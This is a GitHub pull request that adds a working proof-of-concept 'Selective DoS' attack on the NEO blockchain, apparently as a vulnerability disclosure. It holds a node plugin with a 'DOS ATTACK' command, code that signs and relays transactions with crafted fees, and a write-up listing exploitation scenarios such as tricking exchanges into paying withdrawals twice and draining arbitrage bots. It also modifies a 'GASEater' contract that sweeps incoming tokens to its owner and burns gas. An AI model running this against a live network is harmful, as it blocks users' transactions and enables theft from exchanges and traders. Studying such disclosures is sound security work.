Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat(SelectiveDoS): selective dos #32

Merged
merged 5 commits into from
Dec 5, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
58 changes: 28 additions & 30 deletions PoC/InsufficientFunds.cs
Original file line number Diff line number Diff line change
@@ -1,49 +1,47 @@
using System;
using System.ComponentModel;
using Neo.SmartContract.Framework;
using System;
using System.ComponentModel;
using Neo.SmartContract.Framework;
using Neo.SmartContract.Framework.Native;
using Neo;
using System.Numerics;
using System.Numerics;
using Neo.Cryptography.ECC;
using Neo.SmartContract.Framework.Services;
using Neo.SmartContract;


namespace lazycoin
namespace lazycoin
{
[DisplayName("GASEater")]
[ManifestExtra("Author", "lazynode")]
[ManifestExtra("Email", "lazynode@protonmail.com")]
[DisplayName("GASEater")]
[ManifestExtra("Author", "lazynode")]
[ManifestExtra("Email", "lazynode@protonmail.com")]
[ManifestExtra("Description", "GASEater eats GAS")]
[ContractPermission("*", "onNEP17Payment")]
public partial class GASEater : SmartContract
{
[ContractPermission("*", "onNEP17Payment")]
public partial class GASEater : SmartContract
{
[InitialValue("NhMvRrhBnZyAwZnw8y9mHoCzwSEDmZJo2n", ContractParameterType.Hash160)]
private static readonly UInt160 owner = default;
public static void _deploy(object data, bool update)
{
Storage.Put(Storage.CurrentContext, new byte[] { 0x01 }, 128);
}

public static void _deploy(object data, bool update)
{
Storage.Put(Storage.CurrentContext, new byte[] { 0x01 }, 1900000000);
}

public static void OnNEP17Payment(UInt160 from, BigInteger amount, object data)
{
NEO.Transfer(Runtime.ExecutingScriptHash, owner, NEO.BalanceOf(Runtime.ExecutingScriptHash));
BigInteger n = (BigInteger)Storage.Get(Storage.CurrentContext, new byte[] { 0x01 });
for (BigInteger i = 0; i < n; i++)
{
NEO.Transfer(Runtime.ExecutingScriptHash, owner, 0);
}
}

object balance = Contract.Call(Runtime.CallingScriptHash, "balanceOf", CallFlags.All, new object[] { Runtime.ExecutingScriptHash });
Contract.Call(Runtime.CallingScriptHash, "transfer", CallFlags.All, new object[] { Runtime.ExecutingScriptHash, owner, balance, null });
object n = Storage.Get(Storage.CurrentContext, new byte[] { 0x01 });
Runtime.BurnGas((long)n);
}

public static void Set(BigInteger n)
{
Storage.Put(Storage.CurrentContext, new byte[] { 0x01 }, n);
}
Storage.Put(Storage.CurrentContext, new byte[] { 0x01 }, n);
}

public static BigInteger Get()
{
return (BigInteger)Storage.Get(Storage.CurrentContext, new byte[] { 0x01 });
}
}
}
}
}
47 changes: 47 additions & 0 deletions PoC/SelectiveDoS/Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
using Neo.SmartContract;
using Neo.Wallets;
using Neo.VM;
using Neo;
using Neo.ConsoleService;
using Neo.Plugins;
using System.Numerics;
using Neo.Ledger;
using Neo.Network.P2P.Payloads;
using Neo.SmartContract.Native;

namespace FeeDoS;
public class FeeDoS : Plugin
{
public override string Name => "LazyNode DOS Test";
private IWalletProvider? walletProvider;
private static Neo.Wallets.Wallet? w;
private NeoSystem? neoSystem;
protected override void OnSystemLoaded(NeoSystem system)
{
neoSystem = system;
neoSystem.ServiceAdded += NeoSystem_ServiceAdded;
}
private void NeoSystem_ServiceAdded(object? sender, object? service)
{
if (service is IWalletProvider)
{
walletProvider = service as IWalletProvider;
neoSystem!.ServiceAdded -= NeoSystem_ServiceAdded;
walletProvider!.WalletChanged += WalletProvider_WalletChanged;
}
}
private void WalletProvider_WalletChanged(object? sender, Wallet? wallet)
{
walletProvider!.WalletChanged -= WalletProvider_WalletChanged;
w = wallet;
}

[ConsoleCommand("a", Category = "LazyNode", Description = "DOS ATTACK")]
private void OnAttack(uint sysfee, uint netfee)
{
var sb = new ScriptBuilder();
sb.EmitPush(1337);
Tx.MakeTx(sb.ToArray(), w!, neoSystem!, (long)sysfee*(long)100000000, (long)netfee*(long)100000000);
}

}
Binary file added PoC/SelectiveDoS/SelectiveDoS.dll
Binary file not shown.
63 changes: 63 additions & 0 deletions PoC/SelectiveDoS/SelectiveDoS.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
# Selective DoS on NEO Blockchain by SystemFee

> Selective DoS can make the normal transactions be denied while make some specific transactons bypass the DoS.

## TARGET COMMIT

V3.4.0

## Possible Attack Scenario

* Selective DoS the chain. Withdraw money from someone such as CEX, then the tx will not be packed into new blocks for a specific period. Argue the fund is not received, and let them send again. After DoS, attacker will receive the fund two or more times.
* Selective DoS the chain. wait until there is a profit between CEX and DEX, send a profitable tx that can bypass the DoS.
* Selective DoS the chain by a few blocks on specific time when token price is changing violently. Some CEX/DEX arbitrage bot such as `Nc6LJ79RodHzaz5BghHGChMZYRa9GqJvES` will send the arbitrage transaction once and once again. After the DoS, those bot will lose money for sending too many transactions while attackers can earn from that.

## Background

* NEO node will sort the uncommitted transactions by their **networkFee per byte**, see [source code](https://github.com/neo-project/neo/blob/77ee2cc5b6ea371efdf3be506b173c6304b0fc01/src/Neo/Ledger/PoolItem.cs#L46-L58)
* NEO consensus node will restrict the max systemFee used by a block, current amount is **1500 GAS** by default, see [source code](https://github.com/neo-project/neo-modules/blob/7db1c7956ac68758793a6ea30b5329cceb6ab1bc/src/DBFTPlugin/Settings.cs#L31)
* NEO consensus node will pick transactons one by one in the above order until the total systemFee reach the upper limit, **the last transaction that makes the block reach the upper limit will be dropped and put into the transaction pool again** and no more transaction will be packed into the block, see [source code](https://github.com/neo-project/neo-modules/blob/7db1c7956ac68758793a6ea30b5329cceb6ab1bc/src/DBFTPlugin/Consensus/ConsensusContext.MakePayload.cs#L88-L101)

## Attack Method and Cost Analysis

1. Build a transaction (named **FilterTx**) who have a relatively large networkFeePerByte and a very large systemFee which exceed the block's upper limit. Set the transaction's valid time to a specific point which must be in 1 blocktime to 1 day
2. Build some profitable transactions with a networkFee slightly higher than the **FilterTx**, then our transactions can be packed into new blocks while other normal users' transaction will not unless they add enough networkFee
3. collect other users' normal transactions especially those who contain NEP17Transfer
4. resend those collected profitable transactions to make a profit

Only the transactions bypass the DoS will cost some GAS. Because **FilterTx** will not be packed into blocks, attacker only need to hold instead of spend 1500.00000001 GAS.

## Effect

* The blockchain **seems good as usual** while normal users' transaction can not be packed into the new blocks.
* Some users may send their transactions again and again and lose money from this. They may think that their previous transactions are dropped.

## Experiment

* build a neo-node extension with one command named **a**, it accept two arguments - systemFee and networkFee, and will send an empty transaction with the specified fee, it will be valid during next 5 blocks

### Experiment 1: DoS

#### 1. steps

* before block 1, `a 2000 2` will send a **FilterTx** to the blockchain
* in the next block, use `a 1 1`, it will send a normal transaction to the blockchain
* in the next block, use `a 1 1`, it will send a normal transaction to the blockchain

#### 1. results

* during block 1 to block 5, no transaction is packed
* in the block 6, two transaction made by `a 1 1` are packed because the DoS is end

### Experiment 2: Selective DoS

#### 2. steps

* before block 1, `a 2000 2` will send a **FilterTx** to the blockchain
* in the next block, use `a 1 1`, it will send a normal transaction to the blockchain
* at the same block, use `a 1 3`, it will send a selective transaction which can bypass the DoS

#### 2. results

* during block 1 to block 5, the transaction made by `a 1 1` is not shown, it is packed in block 6
* the transaction made by `a 1 3` is packed into block 2
14 changes: 14 additions & 0 deletions PoC/SelectiveDoS/SelectiveDos.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
<Project Sdk="Microsoft.NET.Sdk">

<PropertyGroup>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>

<ItemGroup>
<PackageReference Include="Neo" Version="3.4.0" />
<PackageReference Include="Neo.ConsoleService" Version="1.2.0" />
</ItemGroup>

</Project>
53 changes: 53 additions & 0 deletions PoC/SelectiveDoS/Tx.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
using System.Numerics;
using Akka.Actor;
using Neo;
using Neo.Ledger;
using Neo.Network.P2P.Payloads;
using Neo.SmartContract.Native;
using Neo.VM;
using Neo.Wallets;

namespace FeeDoS
{
public static class Tx
{
public static BigInteger MakeTx(byte[] script, Wallet w, NeoSystem system, long sysfee, long netfee)
{
var tx = new Transaction
{
Version = 0,
Nonce = (uint)new Random().NextInt64(),
Script = script,
Signers = new Signer[]{
new Signer {
Scopes = WitnessScope.Global,
Account = w.GetAccounts().First().ScriptHash,
},
},
ValidUntilBlock = NativeContract.Ledger.CurrentIndex(system.StoreView) + 5,
Attributes = System.Array.Empty<TransactionAttribute>(),
SystemFee = sysfee,
NetworkFee = netfee,
};

var key = w.GetAccounts().First().GetKey();
var contract = Neo.SmartContract.Contract.CreateSignatureContract(key.PublicKey);
byte[] signature = tx.Sign(key, system.Settings.Network);
tx.Witnesses = new Witness[]{
new Witness {
VerificationScript = contract.Script,
InvocationScript = new ScriptBuilder().EmitPush(signature).ToArray(),
}
};
var relayResult = tx.Verify(system.Settings, system.StoreView, new TransactionVerificationContext());
if (relayResult != VerifyResult.Succeed)
{
$"relayresult1 failed: {relayResult.ToString()}".Log();
}
system.Blockchain.Tell(tx);
$"Success, {tx.Hash}".Log();
return tx.SystemFee + tx.NetworkFee;
}
public static void Log<T>(this T val) => Console.Error.WriteLine(val);
}
}